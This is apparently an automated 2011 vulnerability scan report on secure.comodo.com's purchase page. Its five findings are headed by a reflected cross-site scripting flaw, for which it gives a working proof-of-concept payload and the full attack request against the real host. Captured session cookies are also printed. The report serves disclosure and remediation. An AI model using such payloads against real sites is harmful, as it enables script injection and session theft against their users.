XSS, Reflected Cross Site Scripting, CWE-79, CAPEC-86, DORK, GHDB, BHDB, secure.comodo.com

Javascript Handler Injection by way of Style Attribute, can also be onmouseover etc..

Report generated by XSS.CX at Sun Sep 18 02:09:37 CDT 2011.

Public Domain Vulnerability Information, Security Articles, Vulnerability Reports, GHDB, DORK Search

1. Cross-site scripting (reflected)

XSS in secure.comodo.com, XSS, DORK, GHDB, Cross Site Scripting, CWE-79, CAPEC-86

2. Password field with autocomplete enabled

3. Cross-domain Referer leakage

4. Cross-domain script include

5. HTML does not specify charset

1. Cross-site scripting (reflected) next

Summary

Severity:	High
Confidence:	Certain
Host:	https://secure.comodo.com
Path:	/home/purchase.php

Issue detail

The value of the pid request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c5cb8"%20style%3dx%3aexpression(alert(1))%20f1eaf6a60d7 was submitted in the pid parameter. This input was echoed as c5cb8\" style=x:expression(alert(1)) f1eaf6a60d7 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:

Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).

In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

Request

GET /home/purchase.php?pid=9c5cb8"%20style%3dx%3aexpression(alert(1))%20f1eaf6a60d7&utm_source=pfw_fd&utm_medium=buy_free_download&af=1144&utm_campaign=PF_CIS_BUY_FD HTTP/1.1
Host: secure.comodo.com
Connection: keep-alive
Referer: http://personalfirewall.comodo.com/free-download.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: optimizelyEndUserId=oeu1315419552319r0.6822604623157531; kvcd=1316328651224; km_ai=nxNThomVDaBwwqN7xx0NPXpwd58%3D; km_vs=1; km_lv=1316328651; km_uq=; optimizelyCustomEvents=%7B%228018129%22%3A%5B%22Need%20a%20pc%20expert%20try%20it%20now%20button%22%5D%7D; optimizelyBuckets=%7B%228015120%22%3A8013305%2C%228022314%22%3A8017411%7D; __utma=1.355449779.1315419555.1315419555.1315419555.1; __utmb=1.4.10.1316328649; __utmc=1; __utmz=1.1315419555.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)|utmctr=comodo

Response

HTTP/1.1 200 OK
Server: nginx
Date: Sun, 18 Sep 2011 01:51:42 GMT
Content-Type: text/html
Connection: keep-alive
Keep-Alive: timeout=5
Vary: Accept-Encoding
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 43034

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<script src="//cdn.opti
...[SNIP]...
<a href="includes/video.php?pid=9c5cb8\" style=x:expression(alert(1)) f1eaf6a60d7" id="video">
...[SNIP]...

2. Password field with autocomplete enabled previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	https://secure.comodo.com
Path:	/home/purchase.php

Issue detail

The page contains a form with the following action URL:

https://secure.comodo.com/home/order.php

The form contains the following password fields with autocomplete enabled:

password
verify_password
ab8d81f3c06b6c3f3c62ddfb12285f8f026ff0618

Issue background

Most browsers have a facility to remember user credentials that are entered into HTML forms. This function can be configured by the user and also by applications which employ user credentials. If the function is enabled, then credentials entered by the user are stored on their local computer and retrieved by the browser on future visits to the same application.

The stored credentials can be captured by an attacker who gains access to the computer, either locally or through some remote compromise. Further, methods have existed whereby a malicious web site can retrieve the stored credentials for other applications, by exploiting browser vulnerabilities or through application-level cross-domain attacks.

Issue remediation

To prevent browsers from storing credentials entered into HTML forms, you should include the attribute autocomplete="off" within the FORM tag (to protect all form fields) or within the relevant INPUT tags (to protect specific individual fields).

Request

GET /home/purchase.php?pid=9&utm_source=pfw_fd&utm_medium=buy_free_download&af=1144&utm_campaign=PF_CIS_BUY_FD HTTP/1.1
Host: secure.comodo.com
Connection: keep-alive
Referer: http://personalfirewall.comodo.com/free-download.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: optimizelyEndUserId=oeu1315419552319r0.6822604623157531; kvcd=1316328651224; km_ai=nxNThomVDaBwwqN7xx0NPXpwd58%3D; km_vs=1; km_lv=1316328651; km_uq=; optimizelyCustomEvents=%7B%228018129%22%3A%5B%22Need%20a%20pc%20expert%20try%20it%20now%20button%22%5D%7D; optimizelyBuckets=%7B%228015120%22%3A8013305%2C%228022314%22%3A8017411%7D; __utma=1.355449779.1315419555.1315419555.1315419555.1; __utmb=1.4.10.1316328649; __utmc=1; __utmz=1.1315419555.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)|utmctr=comodo

Response

HTTP/1.1 200 OK
Server: nginx
Date: Sun, 18 Sep 2011 01:50:26 GMT
Content-Type: text/html
Connection: keep-alive
Keep-Alive: timeout=5
Vary: Accept-Encoding
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 42824

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   <script src="//cdn.opti
...[SNIP]...
</h1>


                       <form name="select-product" method="post" action="order.php">
                               <div class="top-error">
...[SNIP]...
<td colspan="2"><input type="password" id="password" name="password" value="" /></td>
...[SNIP]...
<td colspan="2"><input type="password" id="verify_password" name="verify_password" value="" /></td>
...[SNIP]...
<input type="hidden" id="cc_cvv" name="cc_cvv" value="ab8d81f3c06b6c3f3c62ddfb12285f8f026ff0618" />
                               <input type="password" maxlength="4" id="ab8d81f3c06b6c3f3c62ddfb12285f8f026ff0618" name="ab8d81f3c06b6c3f3c62ddfb12285f8f026ff0618" class="small" />
                           </td>
...[SNIP]...

3. Cross-domain Referer leakage previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://secure.comodo.com
Path:	/home/purchase.php

Issue detail

The page was loaded from a URL containing a query string:

https://secure.comodo.com/home/purchase.php?pid=9&utm_source=pfw_fd&utm_medium=buy_free_download&af=1144&utm_campaign=PF_CIS_BUY_FD

The response contains the following links to other domains:

https://cdn.optimizely.com/js/8018129.js
https://www.googleadservices.com/pagead/conversion.js
https://www.googleadservices.com/pagead/conversion/971971973/?label=3bHsCIv99gIQhbu8zwM&guid=ON&script=0

Issue background

When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.

If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.

You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.

Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.

Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.

Issue remediation

The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.

Request

Response

HTTP/1.1 200 OK
Server: nginx
Date: Sun, 18 Sep 2011 01:50:26 GMT
Content-Type: text/html
Connection: keep-alive
Keep-Alive: timeout=5
Vary: Accept-Encoding
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 42824

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<script src="//cdn.optimizely.com/js/8018129.js"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="https://www.googleadservices.com/pagead/conversion.js">
</script>
...[SNIP]...
<div style="display:inline;">
<img height="1" width="1" style="border-style:none;" alt="" src="https://www.googleadservices.com/pagead/conversion/971971973/?label=3bHsCIv99gIQhbu8zwM&guid=ON&script=0" />
</div>
...[SNIP]...

4. Cross-domain script include previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://secure.comodo.com
Path:	/home/purchase.php

Issue detail

The response dynamically includes the following scripts from other domains:

https://cdn.optimizely.com/js/8018129.js
https://www.googleadservices.com/pagead/conversion.js

Issue background

When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.

If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.

Issue remediation

Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.

Request

Response

5. HTML does not specify charset previous

Summary

Severity:	Information
Confidence:	Certain
Host:	https://secure.comodo.com
Path:	/home/images/CIS5.jpg

Issue description

If a web response states that it contains HTML content but does not specify a character set, then the browser may analyse the HTML and attempt to determine which character set it appears to be using. Even if the majority of the HTML actually employs a standard character set such as UTF-8, the presence of non-standard characters anywhere in the response may cause the browser to interpret the content using a different character set. This can have unexpected results, and can lead to cross-site scripting vulnerabilities in which non-standard encodings like UTF-7 can be used to bypass the application's defensive filters.

In most cases, the absence of a charset directive does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing HTML content, the application should include within the Content-type header a directive specifying a standard recognised character set, for example charset=ISO-8859-1.

Request

GET /home/images/CIS5.jpg HTTP/1.1
Host: secure.comodo.com
Connection: keep-alive
Referer: https://secure.comodo.com/home/purchase.php?pid=9&utm_source=pfw_fd&utm_medium=buy_free_download&af=1144&utm_campaign=PF_CIS_BUY_FD
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: optimizelyEndUserId=oeu1315419552319r0.6822604623157531; kvcd=1316328651224; km_ai=nxNThomVDaBwwqN7xx0NPXpwd58%3D; km_vs=1; km_lv=1316328651; km_uq=; optimizelyCustomEvents=%7B%228018129%22%3A%5B%22Need%20a%20pc%20expert%20try%20it%20now%20button%22%5D%7D; optimizelyBuckets=%7B%228015120%22%3A8013305%2C%228022314%22%3A8017411%7D; __utma=1.355449779.1315419555.1315419555.1315419555.1; __utmb=1.4.10.1316328649; __utmc=1; __utmz=1.1315419555.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)|utmctr=comodo; PHPSESSID=88e864b2d05909e5725c431109b7590c

Response

HTTP/1.1 404 Not Found
Server: nginx
Date: Sun, 18 Sep 2011 01:50:32 GMT
Content-Type: text/html
Content-Length: 564
Connection: keep-alive
Keep-Alive: timeout=5

<html>
<head><title>404 Not Found</title></head>
<body bgcolor="white">
<center><h1>404 Not Found</h1></center>
<hr><center>nginx</center>
</body>
</html>
<!-- a padding to disable MSIE and Chr
...[SNIP]...

Report generated by XSS.CX at Sun Sep 18 02:09:37 CDT 2011.